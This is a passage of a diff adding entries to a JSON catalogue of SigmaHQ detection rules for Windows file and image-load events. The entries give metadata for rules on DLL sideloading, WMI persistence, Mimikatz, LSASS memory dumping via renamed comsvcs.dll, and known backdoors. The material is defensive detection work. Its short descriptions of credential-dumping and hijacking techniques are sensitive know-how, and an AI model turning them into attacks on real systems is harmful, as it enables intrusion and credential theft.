OTR (Open Threat Research)", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects file writes of WMI script event consumer", + "uuid": "33f41cdd-35ac-4ba8-814b-c6a4244a1ad4", + "value": "WMI Persistence - Script Event Consumer File Write", + "meta": { + "refs": [ + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmi_persistence_script_event_consumer_write.yml" + ], + "tags": [ + "attack.t1546.003", + "attack.persistence" + ], + "creation_date": "2018/03/07", + "filename": "file_event_win_wmi_persistence_script_event_consumer_write.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Dell Power Manager (C:\\Program Files\\Dell\\PowerManager\\DpmPowerPlanSetup.exe)" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of template files for Microsoft Office from outside Office", + "uuid": "0e20c89d-2264-44ae-8238-aeeaba609ece", + "value": "Office Template Creation", + "meta": { + "refs": [ + "https://insight-jp.nttsecurity.com/post/102hojk/operation-restylink-apt-campaign-targeting-japanese-companies", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_word_template_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137" + ], + "creation_date": "2022/06/02", + "filename": "file_event_win_word_template_creation.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Loading a user environment from a backup or a domain controller", + "Synchronization of templates" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a file named \"wpbbin\" in the \"%systemroot%\\system32\\\" directory. Which could be indicative of UEFI based persistence method", + "uuid": "e94b9ddc-eec5-4bb8-8a58-b9dc5f4e185f", + "value": "UEFI Persistence Via Wpbbin - FileCreation", + "meta": { + "refs": [ + "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c", + "https://persistence-info.github.io/Data/wpbbin.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wpbbin_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1542.001" + ], + "creation_date": "2022/07/18", + "filename": "file_event_win_wpbbin_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Aversaries may use to interact with a remote network share using Server Message Block (SMB).\nThis technique is used by post-exploitation frameworks.\n", + "uuid": "4aafb0fa-bff5-4b9d-b99e-8093e659c65f", + "value": "Writing Local Admin Share", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-4---execute-command-writing-output-to-local-admin-share", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_writing_local_admin_share.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1546.002" + ], + "creation_date": "2022/01/01", + "filename": "file_event_win_writing_local_admin_share.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects cases in which a file gets renamed to .dll, which often happens to bypass perimeter protection", + "uuid": "bbfd974c-248e-4435-8de6-1e938c79c5c1", + "value": "Rename Common File to DLL File", + "meta": { + "refs": [ + "https://twitter.com/ffforward/status/1481672378639912960", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036/T1036.md#atomic-test-1---system-file-copied-to-unusual-location", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_not_dll_to_dll.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/19", + "filename": "file_rename_win_not_dll_to_dll.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Application installation" + ], + "logsource.category": "file_rename", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible ransomware adding a custom extension to the encrypted files, such as \".jpg.crypted\", \".docx.locky\" etc.", + "uuid": "e3f673b3-65d1-4d80-9146-466f8b63fa99", + "value": "Suspicious Appended Extension", + "meta": { + "refs": [ + "https://app.any.run/tasks/d66ead5a-faf4-4437-93aa-65785afaf9e5/", + "https://blog.cyble.com/2022/08/10/onyx-ransomware-renames-its-leak-site-to-vsop/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_ransomware.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ], + "creation_date": "2022/07/16", + "filename": "file_rename_win_ransomware.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Backup software" + ], + "logsource.category": "file_rename", + "logsource.product": "windows" + } + }, + { + "description": "Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account)\nwanting to perform SSO authentication in the browser.\nAn attacker can use this to authenticate to Azure AD in a browser as that user.\n", + "uuid": "50f852e6-af22-4c78-9ede-42ef36aa3453", + "value": "Abusing Azure Browser SSO", + "meta": { + "refs": [ + "https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_abusing_azure_browser_sso.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.002" + ], + "creation_date": "2020/07/15", + "filename": "image_load_abusing_azure_browser_sso.yml", + "author": "Den Iuzvyk", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", + "uuid": "fe6e002f-f244-4278-9263-20e4b593827f", + "value": "Alternate PowerShell Hosts", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190610201010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_alternate_powershell_hosts_moduleload.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/09/12", + "filename": "image_load_alternate_powershell_hosts_moduleload.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects loading of Microsoft Defender's DLLs by its processes (MpCmdRun and NisSrv) from the non-default directory which may be an attempt to sideload arbitrary DLL", + "uuid": "418dc89a-9808-4b87-b1d7-e5ae0cb6effc", + "value": "Microsoft Defender Loading DLL from Nondefault Path", + "meta": { + "refs": [ + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_defender_load_dll_from_nondefault_path.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/02", + "filename": "image_load_defender_load_dll_from_nondefault_path.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Very unlikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL image load activity as used by FoggyWeb backdoor loader", + "uuid": "640dc51c-7713-4faa-8a0e-e7c0d9d4654c", + "value": "FoggyWeb Backdoor DLL Loading", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_foggyweb_nobelium.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587" + ], + "creation_date": "2021/09/27", + "filename": "image_load_foggyweb_nobelium.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects loading of essential DLL used by PowerShell, but not by the process powershell.exe. Detects meterpreter's \"load powershell\" extension.", + "uuid": "092bc4b9-3d1d-43b4-a6b4-8c8acd83522f", + "value": "In-memory PowerShell", + "meta": { + "refs": [ + "https://adsecurity.org/?p=2921", + "https://github.com/p3nt4/PowerShdll", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_in_memory_powershell.yml" + ], + "tags": [ + "attack.t1059.001", + "attack.execution" + ], + "creation_date": "2019/11/14", + "filename": "image_load_in_memory_powershell.yml", + "author": "Tom Kern, oscd.community, Natalia Shornikova, Tim Shelton", + "level": "medium", + "falsepositive": [ + "Used by some .NET binaries, minimal on user workstation.", + "Used by Microsoft SQL Server Management Studio" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects certain DLL loads when Mimikatz gets executed", + "uuid": "c0478ead-5336-46c2-bd5e-b4c84bc3a36e", + "value": "Mimikatz In-Memory", + "meta": { + "refs": [ + "https://securityriskadvisors.com/blog/post/detecting-in-memory-mimikatz/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_mimikatz_inmemory_detection.yml" + ], + "tags": [ + "attack.s0002", + "attack.t1003", + "attack.lateral_movement", + "attack.credential_access", + "car.2019-04-004" + ], + "creation_date": "2017/03/13", + "filename": "image_load_mimikatz_inmemory_detection.yml", + "author": "sigma", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects both of CVE-2022-30190 / Follina and DogWalk vulnerability exploiting msdt.exe binary to load sdiageng.dll binary", + "uuid": "ec8c4047-fad9-416a-8c81-0f479353d7f6", + "value": "MSDT.exe Loading Diagnostic Library", + "meta": { + "refs": [ + "https://www.securonix.com/blog/detecting-microsoft-msdt-dogwalk/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_msdt_sdiageng.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202", + "cve.2022.30190" + ], + "creation_date": "2022/06/17", + "filename": "image_load_msdt_sdiageng.yml", + "author": "Greg (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects processes loading modules related to PCRE.NET package", + "uuid": "84b0a8f3-680b-4096-a45b-e9a89221727c", + "value": "PCRE.NET Package Image Load", + "meta": { + "refs": [ + "https://twitter.com/rbmaslen/status/1321859647091970051", + "https://twitter.com/tifkin_/status/1321916444557365248", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pcre_net_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/10/29", + "filename": "image_load_pcre_net_load.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", + "uuid": "35a7dc42-bc6f-46e0-9f83-81f8e56c8d4b", + "value": "Pingback Backdoor", + "meta": { + "refs": [ + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", + "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pingback_backdoor.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.001" + ], + "creation_date": "2021/05/05", + "filename": "image_load_pingback_backdoor.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Very unlikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects rundll32 loading a renamed comsvcs.dll to dump process memory", + "uuid": "8cde342c-ba48-4b74-b615-172c330f2e93", + "value": "Rundll32 Loading Renamed Comsvcs DLL", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1555200155351228419", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_rundll32_loading_renamed_comsvcs.yml" + ], + "tags": [ + "attack.credential_access", + "attack.defense_evasion", + "attack.t1003.001" + ], + "creation_date": "2022/08/14", + "filename": "image_load_rundll32_loading_renamed_comsvcs.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects signs of the WMI script host process %SystemRoot%\\system32\\wbem\\scrcons.exe functionality being used via images being loaded by a process.", + "uuid": "b439f47d-ef52-4b29-9a2f-57d8a96cb6b8", + "value": "WMI Script Host Process Image Loaded", + "meta": { + "refs": [ + "https://twitter.com/HunterPlaybook/status/1301207718355759107", + "https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/", + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_scrcons_imageload_wmi_scripteventconsumer.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.003" + ], + "creation_date": "2020/09/02", + "filename": "image_load_scrcons_imageload_wmi_scripteventconsumer.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Legitimate event consumers", + "Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc", + "uuid": "552b6b65-df37-4d3e-a258-f2fc4771ae54", + "value": "Antivirus Software DLL Sideloading", + "meta": { + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_antivirus.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2022/08/17", + "filename": "image_load_side_load_antivirus.yml", + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "level": "medium", + "falsepositive": [ + "Applications that load the same dlls mentioned in the detection section. Investigate them and filter them out if a lot FPs are caused.", + "Dell SARemediation plugin folder (C:\\Program Files\\Dell\\SARemediation\\plugin\\log.dll) is known to contain the 'log.dll' file.", + "The Canon MyPrinter folder 'C:\\Program Files\\Canon\\MyPrinter\\' is known to contain the 'log.dll' file" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL sideloading of \"dbgcore.dll\"", + "uuid": "9ca2bf31-0570-44d8-a543-534c47c33ed7", + "value": "DLL Sideloading Of DBGCORE.DLL", + "meta": { + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbgcore_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2022/10/25", + "filename": "image_load_side_load_dbgcore_dll.yml", + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "level": "medium", + "falsepositive": [ + "Legitimate applications loading their own versions of the DLL mentioned in this rule" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL sideloading of \"dbghelp.dll\"", + "uuid": "6414b5cd-b19d-447e-bb5e-9f03940b5784", + "value": "DLL Sideloading Of DBGHELP.DLL", + "meta": { + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2022/10/25", + "filename": "image_load_side_load_dbghelp_dll.yml", + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "level": "medium", + "falsepositive": [ + "Legitimate applications loading their own versions of the DLL mentioned in this rule" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64...)", + "uuid": "4fc0deee-0057-4998-ab31-d24e46e0aba4", + "value": "System DLL Sideloading From Non System Locations", + "meta": { + "refs": [ + "https://hijacklibs.net/", + "https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/", + "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", + "https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_from_non_system_location.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2022/08/14", + "filename": "image_load_side_load_from_non_system_location.yml", + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research), Chris Spehn (research WFH Dridex), XForceIR (SideLoadHunter Project)", + "level": "medium", + "falsepositive": [ + "Legitimate applications loading their own versions of the DLLs mentioned in this rule" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location", + "uuid": "829a3bdf-34da-4051-9cf4-8ed221a8ae4f", + "value": "Microsoft Office DLL Sideload", + "meta": { + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_office_dlls.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2022/08/17", + "filename": "image_load_side_load_office_dlls.yml", + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc)", + "uuid": "f9df325d-d7bc-4a32-8a1a-2cc61dcefc63", + "value": "Third Party Software DLL Sideloading", + "meta": { + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_third_party.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2022/08/17", + "filename": "image_load_side_load_third_party.yml", + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL sideloading of DLLs that are part of web browsers", + "uuid": "72ca7c75-bf85-45cd-aca7-255d360e423c", + "value": "Web Browsers DLL Sideloading", + "meta": { + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_web_browsers.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2022/08/17", + "filename": "image_load_side_load_web_browsers.yml", + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects SILENTTRINITY stager use", + "uuid": "75c505b1-711d-4f68-a357-8c3fe37dbf2d", + "value": "SILENTTRINITY Stager Execution", + "meta": { + "refs": [ + "https://github.com/byt3bl33d3r/SILENTTRINITY", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_silenttrinity_stage_use.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071" + ], + "creation_date": "2019/10/22", + "filename": "image_load_silenttrinity_stage_use.yml", + "author": "Aleksey Potapov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detect DLL Load from Spooler Service backup folder", + "uuid": "02fb90de-c321-4e63-a6b9-25f4b03dfd14", + "value": "Windows Spooler Service Suspicious Binary Load", + "meta": { + "refs": [ + "https://github.com/hhlxf/PrintNightmare", + "https://github.com/ly4k/SpoolFool", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_spoolsv_dll_load.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574", + "cve.2021.1675", + "cve.2021.34527" + ], + "creation_date": "2021/06/29", + "filename": "image_load_spoolsv_dll_load.yml", + "author": "FPT.EagleEye, Thomas Patzke (improvements)", + "level": "informational", + "falsepositive": [ + "Loading of legitimate driver" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of advapi31.dll by a process running in an uncommon folder", + "uuid": "d813d662-785b-42ca-8b4a-f7457d78d5a9", + "value": "Suspicious Load of Advapi31.dll", + "meta": { + "refs": [ + "https://github.com/hlldz/Phant0m", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_advapi32_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ], + "creation_date": "2022/02/03", + "filename": "image_load_susp_advapi32_dll.yml", + "author": "frack113", + "level": "informational", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects cmstp loading \"dll\" or \"ocx\" files from suspicious locations", + "uuid": "75e508f7-932d-4ebc-af77-269237a84ce1", + "value": "Cmstp Suspicious DLL Load", + "meta": { + "refs": [ + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/TTPs/Defense%20Evasion/T1218%20-%20Signed%20Binary%20Proxy%20Execution/T1218.003%20-%20CMSTP/Procedures.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_cmstp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.003" + ], + "creation_date": "2022/08/30", + "filename": "image_load_susp_cmstp.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes.\nTools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll.\nAs an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.\n", + "uuid": "0e277796-5f23-4e49-a490-483131d4f6e1", + "value": "Load of dbghelp/dbgcore DLL from Suspicious Process", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump", + "https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html", + "https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_dbghelp_dbgcore_load.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2019/10/27", + "filename": "image_load_susp_dbghelp_dbgcore_load.yml", + "author": "Perez Diego (@darkquassar), oscd.community, Ecco", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a system process (ie located in system32, syswow64...etc) loads a DLL from a suspicious location such as %temp%", + "uuid": "9e9a9002-56c4-40fd-9eff-e4b09bfa5f6c", + "value": "DLL Load By System Process From Suspicious Locations", + "meta": { + "refs": [ + "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC (Idea)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_dll_load_system_process.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ], + "creation_date": "2022/07/17", + "filename": "image_load_susp_dll_load_system_process.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.", + "uuid": "828af599-4c53-4ed2-ba4a-a9f835c434ea", + "value": "Fax Service DLL Search Order Hijack", + "meta": { + "refs": [ + "https://windows-internals.com/faxing-your-way-to-system/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_fax_dll.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2020/05/04", + "filename": "image_load_susp_fax_dll.yml", + "author": "NVISO", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects any assembly DLL being loaded by an Office Product", + "uuid": "ff0f2b05-09db-4095-b96d-1b75ca24894a", + "value": "dotNET DLL Loaded Via Office Applications", + "meta": { + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_assembly_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2020/02/19", + "filename": "image_load_susp_office_dotnet_assembly_dll_load.yml", + "author": "Antonlovesdnb", + "level": "high", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects CLR DLL being loaded by an Office Product", + "uuid": "d13c43f0-f66b-4279-8b2c-5912077c1780", + "value": "CLR DLL Loaded Via Office Applications", + "meta": { + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_clr_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2020/02/19", + "filename": "image_load_susp_office_dotnet_clr_dll_load.yml", + "author": "Antonlovesdnb", + "level": "high", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects any GAC DLL being loaded by an Office Product", + "uuid": "90217a70-13fc-48e4-b3db-0d836c5824ac", + "value": "GAC DLL Loaded Via Office Applications", + "meta": { + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_gac_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2020/02/19", + "filename": "image_load_susp_office_dotnet_gac_dll_load.yml", + "author": "Antonlovesdnb", + "level": "high", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DSParse DLL being loaded by an Office Product", + "uuid": "a2a3b925-7bb0-433b-b508-db9003263cc4", + "value": "Active Directory Parsing DLL Loaded Via Office Applications", + "meta": { + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dsparse_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2020/02/19", + "filename": "image_load_susp_office_dsparse_dll_load.yml", + "author": "Antonlovesdnb", + "level": "high", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects Kerberos DLL being loaded by an Office Product", + "uuid": "7417e29e-c2e7-4cf6-a2e8-767228c64837", + "value": "Active Directory Kerberos DLL Loaded Via Office Applications", + "meta": { + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_kerberos_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2020/02/19", + "filename": "image_load_susp_office_kerberos_dll_load.yml", + "author": "Antonlovesdnb", + "level": "high", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the image load of Python Core indicative of a Python script bundled with Py2Exe.", + "uuid": "cbb56d62-4060-40f7-9466-d8aaf3123f83", + "value": "Python Py2Exe Image Load", + "meta": { + "refs": [ + "https://www.py2exe.org/", + "https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_python_image_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.002" + ], + "creation_date": 